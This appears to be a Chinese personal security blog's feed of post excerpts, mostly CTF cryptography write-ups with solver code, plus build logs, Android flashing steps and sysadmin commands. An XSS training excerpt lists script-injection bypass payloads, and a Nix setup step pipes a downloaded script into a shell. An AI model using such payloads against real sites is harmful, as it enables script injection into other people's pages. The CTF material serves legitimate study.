brew install cmake mpfr libomp gmp fplll

接着 mkdir build && cd build && cmake ..

错误记录(macOS)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100


user@host ~/D/C/t/flatter> mkdir build && cd build main
user@host ~/D/C/t/f/build> cmake -DCMAKE_CXX_FLAGS="-Wno-overloaded-virtual" .. main
-- The CXX compiler identification is Clang 19.1.5
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /opt/homebrew/opt/llvm/bin/clang++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found OpenMP_CXX: -fopenmp=libomp (found version "5.1")
-- Found OpenMP: TRUE (found version "5.1")
-- Found GMP: /opt/homebrew/include
-- Looking for sgemm_
-- Looking for sgemm_ - not found
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Success
-- Found Threads: TRUE
-- Looking for dgemm_
-- Looking for dgemm_ - found
-- Found BLAS: /Library/Developer/CommandLineTools/SDKs/MacOSX15.0.sdk/System/Library/Frameworks/Accelerate.framework
-- Looking for cheev_
-- Looking for cheev_ - found
-- Found LAPACK: /Library/Developer/CommandLineTools/SDKs/MacOSX15.0.sdk/System/Library/Frameworks/Accelerate.framework;-lm;-ldl
-- Found MPFR: /opt/homebrew/include (Required is at least version "1.0.0")
-- Found FPLLL: /opt/homebrew/include (found suitable version "5.5.0", minimum required is "5.1.0")
-- Configuring done (2.1s)
-- Generating done (0.0s)
-- Build files have been written to: /Users/user/Documents/Code/tools/flatter/build
user@host ~/D/C/t/f/build> make main?
[ 1%] Building CXX object src/CMakeFiles/flatter.dir/math/matrix_tools.cpp.o
[ 2%] Building CXX object src/CMakeFiles/flatter.dir/math/mpfr_blas.cpp.o
[ 3%] Building CXX object src/CMakeFiles/flatter.dir/math/mpfr_lapack.cpp.o
[ 5%] Building CXX object src/CMakeFiles/flatter.dir/problems/problem.cpp.o
[ 6%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/fused_qr_size_reduction.cpp.o
[ 7%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/base.cpp.o
[ 9%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/columnwise.cpp.o
[ 10%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/columnwise_double.cpp.o
[ 11%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/iterated.cpp.o
[ 12%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/lazy_refine.cpp.o
[ 14%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/params.cpp.o
[ 15%] Building CXX object src/CMakeFiles/flatter.dir/problems/fused_qr_sizered/seysen_refine.cpp.o
[ 16%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/matrix_multiplication.cpp.o
[ 18%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/base.cpp.o
[ 19%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/aliased.cpp.o
[ 20%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/elementary_mpfr.cpp.o
[ 22%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/elementary_mpz.cpp.o
[ 23%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/elementary_native.cpp.o
[ 24%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/elementary_RRZ.cpp.o
[ 25%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/elementary_RRl.cpp.o
[ 27%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/elementary_ZZl.cpp.o
[ 28%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/strassen.cpp.o
[ 29%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/threaded.cpp.o
[ 31%] Building CXX object src/CMakeFiles/flatter.dir/problems/matrix_multiplication/tri_matmul.cpp.o
[ 32%] Building CXX object src/CMakeFiles/flatter.dir/problems/qr_factorization/base.cpp.o
[ 33%] Building CXX object src/CMakeFiles/flatter.dir/problems/qr_factorization/blocked.cpp.o
[ 35%] Building CXX object src/CMakeFiles/flatter.dir/problems/qr_factorization/householder_mpfr.cpp.o
[ 36%] Building CXX object src/CMakeFiles/flatter.dir/problems/qr_factorization/eigen_impl.cpp.o
[ 37%] Building CXX object src/CMakeFiles/flatter.dir/problems/qr_factorization/qr_factorization.cpp.o
[ 38%] Building CXX object src/CMakeFiles/flatter.dir/problems/qr_factorization/threaded.cpp.o
[ 40%] Building CXX object src/CMakeFiles/flatter.dir/problems/lattice_reduction/base.cpp.o
[ 41%] Building CXX object src/CMakeFiles/flatter.dir/problems/lattice_reduction/fplll_impl.cpp.o
In file included from /Users/user/Documents/Code/tools/flatter/src/problems/lattice_reduction/fplll_impl.cpp:1:
In file included from /Users/user/Documents/Code/tools/flatter/src/problems/lattice_reduction/fplll_impl.h:3:
In file included from /opt/homebrew/include/fplll/fplll.h:25:
In file included from /opt/homebrew/include/fplll/bkz.h:21:
In file included from /opt/homebrew/include/fplll/bkz_param.h:24:
In file included from /opt/homebrew/include/fplll/pruner/pruner.h:21:
In file included from /opt/homebrew/include/fplll/pruner/../lll.h:21:
/opt/homebrew/include/fplll/pruner/../gso.h:221:16: error: 'fplll::MatGSO<fplll::Z_NR<>, fplll::FP_NR<>>::babai' hides overloaded virtual functions [-Werror,-Woverloaded-virtual]
 221 | void virtual babai(vector<ZT> &v, int start = 0, int dimension = -1, bool gso = false);
 | ^
/Users/user/Documents/Code/tools/flatter/src/problems/lattice_reduction/fplll_impl.cpp:144:65: note: in instantiation of template class 'fplll::MatGSO<fplll::Z_NR<>, fplll::FP_NR<>>' requested here
 144 | fplll::MatGSO<fplll::Z_NR<mpz_t>, fplll::FP_NR<mpfr_t>> m_gso(this->A, fplll_U, u_inv, gso_flags);
 | ^
/opt/homebrew/include/fplll/pruner/../gso_interface.h:469:16: note: hidden overloaded virtual function 'fplll::MatGSOInterface<fplll::Z_NR<>, fplll::FP_NR<>>::babai' declared here: different number of parameters (3 vs 4)
 469 | void virtual babai(vector<ZT> &v, int start = 0, int dimension = -1);
 | ^
/opt/homebrew/include/fplll/pruner/../gso_interface.h:480:16: note: hidden overloaded virtual function 'fplll::MatGSOInterface<fplll::Z_NR<>, fplll::FP_NR<>>::babai' declared here: type mismatch at 2nd parameter ('const vector<FP_NR<__mpfr_struct[1]>> &' vs 'int')
 480 | void virtual babai(vector<ZT> &w, const vector<FT> &v, int start = 0, int dimension = 1);
 | ^
In file included from /Users/user/Documents/Code/tools/flatter/src/problems/lattice_reduction/fplll_impl.cpp:1:
In file included from /Users/user/Documents/Code/tools/flatter/src/problems/lattice_reduction/fplll_impl.h:3:
In file included from /opt/homebrew/include/fplll/fplll.h:25:
In file included from /opt/homebrew/include/fplll/bkz.h:21:
In file included from /opt/homebrew/include/fplll/bkz_param.h:24:
In file included from /opt/homebrew/include/fplll/pruner/pruner.h:21:
In file included from /opt/homebrew/include/fplll/pruner/../lll.h:21:
/opt/homebrew/include/fplll/pruner/../gso.h:233:16: error: 'fplll::MatGSO<fplll::Z_NR<>, fplll::FP_NR<>>::babai' hides overloaded virtual functions [-Werror,-Woverloaded-virtual]
 233 | void virtual babai(vector<ZT> &w, const vector<FT> &v, int start = 0, int dimension = -1,
 | ^
/opt/homebrew/include/fplll/pruner/../gso_interface.h:469:16: note: hidden overloaded virtual function 'fplll::MatGSOInterface<fplll::Z_NR<>, fplll::FP_NR<>>::babai' declared here: different number of parameters (3 vs 5)
 469 | void virtual babai(vector<ZT> &v, int start = 0, int dimension = -1);
 | ^
/opt/homebrew/include/fplll/pruner/../gso_interface.h:480:16: note: hidden overloaded virtual function 'fplll::MatGSOInterface<fplll::Z_NR<>, fplll::FP_NR<>>::babai' declared here: different number of parameters (4 vs 5)
 480 | void virtual babai(vector<ZT> &w, const vector<FT> &v, int start = 0, int dimension = 1);
 | ^
2 errors generated.
make[2]: *** [src/CMakeFiles/flatter.dir/build.make:513: src/CMakeFiles/flatter.dir/problems/lattice_reduction/fplll_impl.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:373: src/CMakeFiles/flatter.dir/all] Error 2
make: *** [Makefile:136: all] Error 2
user@host ~/D/C/t/f/build> 2 main?

解决方案

询问 CPP 大师: M1saka

金融密码杯团队 WriteUp

Wed, 11 Dec 2024 06:43:14 +0000

WriteUp是假的，也许过几天会更新，咕咕咕，报差旅就是用来旅游和面基的

Android 14 因 Magisk 模块导致无法开机的解决方案

Wed, 16 Oct 2024 17:36:27 +0000

Flash back to the original boot.img of the flash package

Enable adb sideload under TWRP’s advanced options

1

adb sideload kernel.zip

flash Kernel SU

Reboot to system

install Kernel-SU-maneger.apk

Grant file manager permissions in KernelSU Manager

Switch to /data/adb/modules (Time sorting)

Delete folders on demand (Optional backup)

Open magisk, patch the original boot.img, and restart to bootloader.

Example:

1

fastboot flash boot magisk_patched-27001_1OnaR.img

fastboot reboot

resurrection!

在 macOS 上实现等效 MiFlash

Fri, 27 Sep 2024 21:20:27 +0000

arm macOS 的平行桌面无法安装 9008 驱动的解决方案：不用平行桌面，用 brew 安装安卓调试桥工具后，找到刷机包或 MiFlash 目录中的 flash*.bat，将其修改为 bash 语法，具体修改后的脚本如下。

十四天挑战 MIT 6.s081

Tue, 10 Sep 2024 22:02:50 +0000

Lab util: Unix utilities [1/2]

What’s in this part? [???]

本章会涉及到

LEC 1 (rtm): Introduction and examples (handouts: xv6 book)

简介和示例 (讲义: xv6 书籍)

Preparation: Read chapter 1 (for your amusement: Unix)

准备: 阅读第 1 章 (供您娱乐: Unix)

NepCTF 2024

Tue, 27 Aug 2024 20:04:09 +0000

目前仅做记录，题目都挺有意思，后面复现，最近忙

bard

1 solve

Do you like poetry? If you can understand my poetry, I’ll give you what you want!

Tcache

0 solve

I have a T(table), I have a cache(simulation).en~ Tcache. (本题不建议多开交互，可能会出现灵异bug)

collisions

0 solve

一些命令

Sat, 20 Jul 2024 20:39:37 +0000

With LLM

划分并开启 Swap

检查当前的 Swap 状态：使用以下命令查看当前系统的 Swap 使用情况：

1

swapon --show

创建 Swap 文件

创建一个 Swap 文件，例如 2GB 大小的文件：

1

fallocate -l 2G /swapfile

或者

1

sudo dd if=/dev/zero of=/swapfile bs=1M count=2048

设置文件的权限和格式：

1

chmod 600 /swapfile

1

mkswap /swapfile

启用 Swap 文件

1

swapon /swapfile

持久配置 Swap

修改 /etc/fstab，添加 /swapfile none swap sw 0 0 以自动启用 Swap 文件。

OpenSSL command line tool to generate a self signed certificate.

Fri, 19 Jul 2024 09:42:33 +0000

创建 `san.cnf`

配置文件，用于定义证书的详细信息，包括国家、组织、域名等。
定义扩展属性，如 subjectAltName。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


[ req ]
default_bits = 256
default_md = sha256
default_keyfile = key.pem
prompt = no
encrypt_key = no
distinguished_name = dn
req_extensions = req_ext
x509_extensions = v3_ca

[ dn ]
C=HK
ST=Hong Kong
L=Hong Kong
O=Example Organization
OU=IT Department
emailAddress=contact@example.hk
CN = example.hk

[ req_ext ]
subjectAltName = @alt_names

[ v3_ca ]
subjectAltName = @alt_names

[ alt_names ]
IP.1 = 192.168.1.1
DNS.1 = example.hk

生成 ECDSA 私钥：

1

openssl ecparam -genkey -name prime256v1 -out ecdsa_private.key

生成证书签名请求 (CSR)：

1

openssl req -new -key ecdsa_private.key -out ecdsa.csr -config san.cnf

生成自签名证书：

1

openssl x509 -req -in ecdsa.csr -signkey ecdsa_private.key -out ecdsa_certificate.crt -days 365 -extensions v3_ca -extfile san.cnf

自签名 ECDSA 证书和私钥就生成完成了

It happened after Ubuntu Auto-Remove iproute2

Mon, 15 Jul 2024 00:35:20 +0000

上文配置好 Nix 管理后（还没完全发布），有些洁癖，就用 apt 卸载掉部分基础包，同时执行 apt auto-remove。这时习惯性 reboot 后发现 ssh 连接失败，控制台重启系统也还是不行。无奈，用 KVM 提供的 VNC 上去看看。但并不能复制

My Nix Journey - Use Nix on Ubuntu

Sun, 14 Jul 2024 01:54:07 +0000

多平台多系统的版本控制工具(?)，且能在不破坏环境变量的情况下临时加载程序

安装 Nix

我选择非官方安装程序安装

1

curl --proto '=https' --tlsv1.2 -sSf -L https://install.determinate.systems/nix | sh -s -- install

Nix commands

nix search

搜索包在此WebSite搜索，但在终端中也许会更方便。例如，我要搜索 fish

1

nix search nixpkgs fish

更精准的搜索（多加几个关键词）

load JavaScript test

Thu, 11 Jul 2024 14:43:33 +0000

2024.07.09 某内部赛

Tue, 09 Jul 2024 18:32:41 +0000

8abyRSA

题面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from Crypto.Util.number import getPrime, bytes_to_long
from LCGRandom import lcg

flag = b"DASCTF{xxxx}"
m = bytes_to_long(flag)
q = getPrime(512)
p = getPrime(512)
Q = pow(q, 2, p) # Q = q^2 mod p

n = p*q
e = getPrime(512)
c = pow(m, e, n)
print('c = ' + str(c))

mul = p
n = e
c = Q

lcg1 = lcg(2023, mul, n, c)
print(lcg1.generate(6))

# Data
# c = 14968774972802568447907734980942381885170753466134942777553237930032293557412276601708303806296932877792965437305452274767013479132983066980557420348521340748653518789837988349171582558831336243036976332252071289409948879158346086243451785505819420501498240344839999096449458990633841326838003742773196414924
# [1829291767649461103161355195365566822501625317566021355553611375584303624765389047237072963403651896280059309840080549881138083110457632256619677785411889, 8614784647131959905489143385414473366220060118109917221659356152996027731619256154868253763867569947876938642677951734943013867186530789820165520197525548, 7845112879564311528346861967994968539141359532994486000551038947867807602664345244223622318955917969589790931596150225393028516278795565957075910272882168, 464696663556289552651401659156226806419638205935729756668755007052945250273596319671267391086858010496056118762904740103810918505838370732992982394379753, 6368769952056267497431070536699202267447921981615807369090285698513090854334005214066202915932322373348204466447234330868540529876844912401907159350901200, 4401214958628797991805307100256403706658940216552816808894942142670769563264366171079551655390635613048161714797548328158857275108940238519111063046341755]

c = 14968774972802568447907734980942381885170753466134942777553237930032293557412276601708303806296932877792965437305452274767013479132983066980557420348521340748653518789837988349171582558831336243036976332252071289409948879158346086243451785505819420501498240344839999096449458990633841326838003742773196414924
lcg_gen_6 = [1829291767649461103161355195365566822501625317566021355553611375584303624765389047237072963403651896280059309840080549881138083110457632256619677785411889, 8614784647131959905489143385414473366220060118109917221659356152996027731619256154868253763867569947876938642677951734943013867186530789820165520197525548, 7845112879564311528346861967994968539141359532994486000551038947867807602664345244223622318955917969589790931596150225393028516278795565957075910272882168,
 464696663556289552651401659156226806419638205935729756668755007052945250273596319671267391086858010496056118762904740103810918505838370732992982394379753, 6368769952056267497431070536699202267447921981615807369090285698513090854334005214066202915932322373348204466447234330868540529876844912401907159350901200, 4401214958628797991805307100256403706658940216552816808894942142670769563264366171079551655390635613048161714797548328158857275108940238519111063046341755]

seed = 2023

Exploit

SageMath’s Code

小众点评

Thu, 04 Jul 2024 02:28:13 +0000

老蕃享 | 人均 20 RMB

依托，又贵又难吃

麦当劳 | 人均 22 RMB

麦门，神中神

肆同粥铺 | 人均 14 RMB

偶尔会有免费的粥喝（多在晚上非饭点），下班较早

热干面八块，大份11（周边最便宜的面店）

好+多手工面 | 人均 20 RMB

开在便利店里，周围唯一一家陕西面店，店主关门不干了（肉夹馍不好吃，油泼面还行）小贵

KFC | 人均 23 RMB

不多说，也是神，但周四人真是太多了

Dicos | 人均 18 RMB

炸鸡不错，但打包后的手提袋如果要的话 0.3 RMB 一个

零食有鸣 | 人均 NaN RMB

买水挺便宜，散装零食不如打开淘宝点击天猫超市

米由米拌饭馆 | 人均 26 RMB

依托，但能吃，就是量太少，米饭还行

旅游相关的一些 list

Thu, 04 Jul 2024 01:59:25 +0000

提前了解目的地法律规定

HK

流量在旅游的时候是最不值钱的（提前买流量顶多一天50RMB），落地买卡也 OK。

大型公共区域（比如地铁站）有公共免费 WiFi，连上免费几十分钟，可以作为没有提前买流量的后悔药。

复盘 -- 作为生活日记

Mon, 01 Jul 2024 00:55:02 +0000

2024

6.30

NTRU 还是不太会配平

没有提交密码挑战赛解答有点难过，但自己也确实没啥贡献

还得多学原理，随缘师傅说的是对的，我目前最重要的不是去学习新知识，而是巩固已有的知识

2024.6.29 某行业赛一道 Crypto+Misc 希尔密码

Sat, 29 Jun 2024 16:54:48 +0000

Hill Cipher(不知道题目叫什么名字)

下载题目附件后打开看到

拖到 010 Editor 提示报错，注意到文件末尾存在字符串，且为三的倍数

同时结合图片名为 hill.png 以及图片中数字的排列，推导可能是 Hill Cipher

2024.6.28 某(农信?)行业赛 Crypto 与 Misc

Fri, 28 Jun 2024 18:05:03 +0000

Crypto

easyLCG

题目代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


from Crypto.Util.number import *
from random import randint

FLAG = ?
ROUND = randint(200, 300)

class LCG:
 lcg_a = getPrime(498)
 lcg_b = getPrime(498)
 lcg_n = getPrime(512)

 def __init__(self, lcg_seed):
 self.state = lcg_seed

 def next(self):
 self.state = (self.state * self.lcg_a + self.lcg_b) % self.lcg_n
 return self.state

seed = bytes_to_long(FLAG)
print(seed.bit_length())
lcg = LCG(seed)
for _ in range(ROUND-6):
 lcg.next()
print([lcg.next() for _ in range(6)])

# 351
# [2485483242304449696161151168576736302336140244327446722677621064961717587947642623655706309294371876714311165214262071924932913930440142186509325733360885, 6174672247406972581092780254648964828729162316422924118545162215261641830776919624579500836375440017861960302702691972683448546062254126073514097080361044, 4584872703321313263026316988830140564935997972340636369234263637913498924218112980629201945528119162637762726584003527994733552009906632734086040880127542, 4829175497283310360340169484343201154685159906303099960915060755507745973302279262836696523131741537828200567942990339422885197644614494869008027862313162, 6669041483112643196441450289748743294802963984583343809912658359929976814854869038886397237458253328867571805574485994275429182399171275201561798677581761, 2732859498560958306654933055106793656103744294844703560692860713169132266734427400301681246251133210447387861776419850678194913478737337289544516324708390]

思路

比较基础的参数恢复后逆推 seed

熊猫杯初赛与决赛 Crypto WriteUp

Mon, 24 Jun 2024 21:46:53 +0000

初赛密码题只有一道，还沾了点猜谜…

绝密文件-代号P

题目代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import cv2
import numpy as np
from Crypto.Util.number import *
from secret import p, q, c

def arnold(img, shuffle_times, a, b):
 r, c, d = img.shape # d: dimension
 p = np.zeros(img.shape, np.uint8) # new image
 for s in range(shuffle_times): # shuffle times
 for i in range(r): # height
 for j in range(c): # width
 x = (i + b * j) % r # new position
 y = ((a * i) + (a * b + 1) * j) % c # new position
 p[x, y, :] = img[i, j, :]
 img = np.copy(p)
 return p

Img_path = "flag_test.png"
Img = cv2.imread(Img_path)

assert isPrime(p) and isPrime(q) and p**2 + \
 q**2 == c and c == 179093209181929149953346613617854206675976823277412565868079070299728290913658

Img_arnold = arnold(Img, c, p, q)
cv2.imwrite("flag_enc.png", Img_arnold)

思路

分析得知 arnold()管理图片像素置换，而参数 $a,b$ 未知

WebSec 之 PHP反序列化与 Python SSTI

Fri, 21 Jun 2024 22:30:24 +0000

反序列化

魔术方法是一种特殊的方法，当对对象执行某些操作时会覆盖 PHP 的默认操作

PHP 保留所有以 __ 开头的方法名称。因此，除非覆盖 PHP 的行为，否则不建议使用此类方法名称

WebSec 之 XSS

Fri, 21 Jun 2024 22:28:39 +0000

prompt(1) to win 平台

prompt(1) to win - 0x0 之 0-8

01

无过滤，白给局，掌握拼接的思路尝试

1

payload: 1">`<script>prompt(1)</script>`<"

02

过滤 =(

HTML 实体绕过（注意HTML实体有多种形式，可以都试试）

1

<svg><script>prompt&#40;1)<b>

03

正则匹配检测同时出现的 ->

一些入门的常见的 CTF Crypto 题型[2]

Fri, 21 Jun 2024 22:25:59 +0000

部分位已知

通过分析题目附件中的代码发现：素数总是隐藏了 50%bit，反过来就是 50%bit 已知

DFS + 枚举状态 + 通过 $N$ 的低部分位来 Check 枚举的 $p,q$ 低位是否准确即可解出 $p,q$

随后即为常规 RSA

趣题分享[5] -- 古典密码相关题目

Thu, 20 Jun 2024 02:08:10 +0000

可通过优化代码的方式打表，但这里只给出以古典方式分析题目

确认 c 与 secrets 的对应关系（使得可以通过 c 恢复 secrets）

确认 Time_Machine() 的单调性（使得可以根据大小关系推断）

词频分析（找出空格、e的对应值）

特判（Case）

枚举状态、NLP 处理小技巧、使用等宽字体、使用辅助函数恢复（磨刀不误砍柴工）、生成 ASCII 码表、生成多种排序方式、生成 Key Value Pair，且使用 Tuple 来实现更多展示信息，方便分析

一些入门的常见的 CTF Crypto 题型[1]

Thu, 20 Jun 2024 02:05:55 +0000

RSA是什么

特征：给出 `p`、`q`，考察 RSA 解密原理

SageMath’s Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


from Crypto.Util.number import long_to_bytes

p = 
q = 
phi = (p - 1) * (q - 1)
n = p * q
e = 
d = inverse_mod(e, phi)
m = power_mod(c, d, n)
print(long_to_bytes(int(m))) # 强制类型转换

RSA $e=3$

特征：$e$ (公钥指数) 很小

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


from gmpy2 import iroot
import itertools

n = 
e = 3
c = 

"""
m = iroot(c, e)
if m[1]:
 print(long_to_bytes(m[0]))
"""

for i in itertools.count(0):
 m = iroot(c + i * n, e)
 if m[1]:
 print(long_to_bytes(m[0]))
 break

RSA 因数分解

特征：$N$ 的因子很小

这里为 ($80\text{bit} * 80\text{bit}$)

CryptoCTF 2024 部分WriteUp

Fri, 14 Jun 2024 01:35:48 +0000

Bada

Points: 90

Solve: 51

Difficulty: Medium 🤔

题面

Bada The Bada equation contains an undetermined function. By closely examining how this equation behaves, you may be able to discover the concealed flag.

nc 00.cr.yp.toc.tf 17113 Note: There is no file to download in this challenge!

尝试交互

1
2
3
4
5
6
7
8
9


> nc 00.cr.yp.toc.tf 17113
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Hey! It's time to solve the equation of a function f: N x N -> Z. ┃
┃ Function f has given certain conditions. In each step, solve the ┃
┃ equation f(x, y) = z with the given value of z. We know f(a+1, b) = ┃
┃ f(a, b) + a, and f(a, b+1) = f(a, b) - b, for every `a' and `b'. ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
┃ We know: f(1, 1) = -444045537086 and f(x, y) = 202500187503
┃ Please send x, y separated by comma:

概述

通过将 $f(x, y) - f(1, 1) = n$ 转换成一个因式分解的问题，然后用这种分解来求解 $x$ 和 $y$ 的值。可以有效利用 $n$ 的因子来找到可能的 $x$ 和 $y$

R3CTF 2024 S𝑪𝑷-0εε WriteUp

Wed, 12 Jun 2024 16:37:46 +0000

*S𝑪𝑷-0εε

4 solved

题面

ANY NON-AUTHORIZED PERSONNEL ACCESSING THIS FILE WILL BE IMMEDIATELY TERMINATED THROUGH BERRYMAN-LANGFORD MEMETIC KILL AGENT.

Download Attachment

关键词

猜谜 + 未知位数约到Coppersmith界内

Idea

打开附件中的 PDF

和题目关联度不是很大的信息：SCP-033

发现有四行代码

趣题分享[4] -- 分组密码相关题目

Thu, 06 Jun 2024 11:28:22 +0000

题面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from Crypto.Util import Counter
from hashlib import sha256
import os
# from secret import flag
flag = b'flag{test}'

def padding(msg):
 return msg + os.urandom(16 - len(msg) % 16) # 随机值填充

msg = b"where is the flag? Key in my Heart/Counter!!!!"
key = b"I w0nder how????"

assert len(msg) == 46
assert len(key) == 16

enc_key = os.urandom(16) # 随机key
initial_value = bytes_to_long(enc_key) # key转为整数
hash = sha256(str(initial_value).encode()).hexdigest() # 字符串(key) 的 sha256

aes = AES.new(enc_key,AES.MODE_ECB) 
enc_flag = aes.encrypt(padding(flag))

 # 16 * 8 = 128,
# {'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}
ctr = Counter.new(AES.block_size * 8, initial_value = initial_value) 
# print(ctr)
aes = AES.new(key, counter = ctr, mode = AES.MODE_CTR) # key 已知, 推 counter, CTR mode 不需要 padding
enc = aes.encrypt(msg) # msg 已知

# print("enc = {}".format(len(enc))) # 46
print("enc = {}".format(enc[-16:])) # 密文的最后16位, 但并不是最后一个 block
print("enc_flag = {}".format(enc_flag))
print("hash = {}".format(hash))

Data

1
2
3


enc_last16 = b'\xbe\x9bd\xc6\xd4=\x8c\xe4\x95bi\xbc\xe01\x0e\xb8'
enc_flag = b'\xb2\x97\x83\x1dB\x13\x9b\xc2\x97\x9a\xa6+M\x19\xd74\xd2-\xc0\xb6\xba\xe8ZE\x0b:\x14\xed\xec!\xa1\x92\xdfZ\xb0\xbd\xb4M\xb1\x14\xea\xd8\xee\xbf\x83\x16g\xfa'
hash = 'efb07225b3f1993113e104757210261083c79de50f577b3f0564368ee7b25eeb'

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


# Reference:
# https://wumansgy.github.io/2018/11/03/AES%E7%9A%84CTR%E6%A8%A1%E5%BC%8F%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%E8%AF%A6%E8%A7%A3/
# https://blog.csdn.net/XiongSiqi_blog/article/details/131931066
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from Crypto.Util import Counter
from hashlib import sha256
import os
# from secret import flag
flag = b'flag{test}'

def padding(msg):
 return msg + os.urandom(16 - len(msg) % 16) # 随机值填充

msg = b"where is the flag? Key in my Heart/Counter!!!!"
key = b"I w0nder how????"

assert len(msg) == 46
assert len(key) == 16

enc_key = os.urandom(16) # 随机key
initial_value = bytes_to_long(enc_key) # key转为整数
hash = sha256(str(initial_value).encode()).hexdigest() # 字符串(key) 的 sha256

aes = AES.new(enc_key,AES.MODE_ECB) 
enc_flag = aes.encrypt(padding(flag))

 # 16 * 8 = 128,
# {'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}
ctr = Counter.new(AES.block_size * 8, initial_value = initial_value) 
print(ctr)
aes = AES.new(key, counter = ctr, mode = AES.MODE_CTR) # key 已知, 推 counter, CTR mode 不需要 padding
enc = aes.encrypt(msg) # msg 已知

# print("enc = {}".format(len(enc))) # 46
print("enc = {}".format(enc[-16:])) # 密文的最后16位, 但并不是最后一个 block
print("enc_flag = {}".format(enc_flag))
print("hash = {}".format(hash))
print('题目数据输出结束' + ' *' * 16)
# Data
enc_last16 = b'\xbe\x9bd\xc6\xd4=\x8c\xe4\x95bi\xbc\xe01\x0e\xb8'
enc_flag = b'\xb2\x97\x83\x1dB\x13\x9b\xc2\x97\x9a\xa6+M\x19\xd74\xd2-\xc0\xb6\xba\xe8ZE\x0b:\x14\xed\xec!\xa1\x92\xdfZ\xb0\xbd\xb4M\xb1\x14\xea\xd8\xee\xbf\x83\x16g\xfa'
hash = 'efb07225b3f1993113e104757210261083c79de50f577b3f0564368ee7b25eeb'

# Solution
# a = msg[32:] # 从明文index 32 开始
a = msg[16 * (len(msg) // 16):] # 取最后一个 block
b = enc_last16[16 - (len(enc) % 16):] # 从密文index 2 开始 | 选最后一个 block
# 加密最后步骤 明文 xor enc_{key}(counter) = 密文
# 解密最后步骤 enc_{key}(counter) xor 密文 = 明文 | enc_{key}(counter) = 密文 xor 明文
enc_Counter1 = bytes(a[i] ^ b[i] for i in range(14)) 
for i in range(0xff):
 for j in range(0xff):
 # ECB mode 要求数据长度与块长对齐, 而加密后的数据的最后 2 bytes 我们并不清楚, 所以我们需要尝试所有的可能
 enc_Counter2 = enc_Counter1 + bytes([i]) + bytes([j])
 aes = AES.new(key,AES.MODE_ECB)
 Counter = aes.decrypt(enc_Counter2) # E_{key}(Counter) = Counter_enc | Counter = D_{key}(Counter_enc)
 initial_value = bytes_to_long(Counter) - (len(msg) // 16) # 经历两个 block, 最后一个 block 的 Counter - block 数 = 初始值
 if hash == sha256(str(initial_value).encode()).hexdigest(): # type: str
 print(f'found {initial_value = }')
 enc_key = long_to_bytes(initial_value)
 aes = AES.new(enc_key,AES.MODE_ECB)
 flag = aes.decrypt(enc_flag)
 print(flag)
 break
# flag{9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d}

趣题分享[3] -- RSA 相关题目

Sun, 02 Jun 2024 19:43:19 +0000

[鹤城杯 2021]BabyRSA

题面

 1
 2
 3
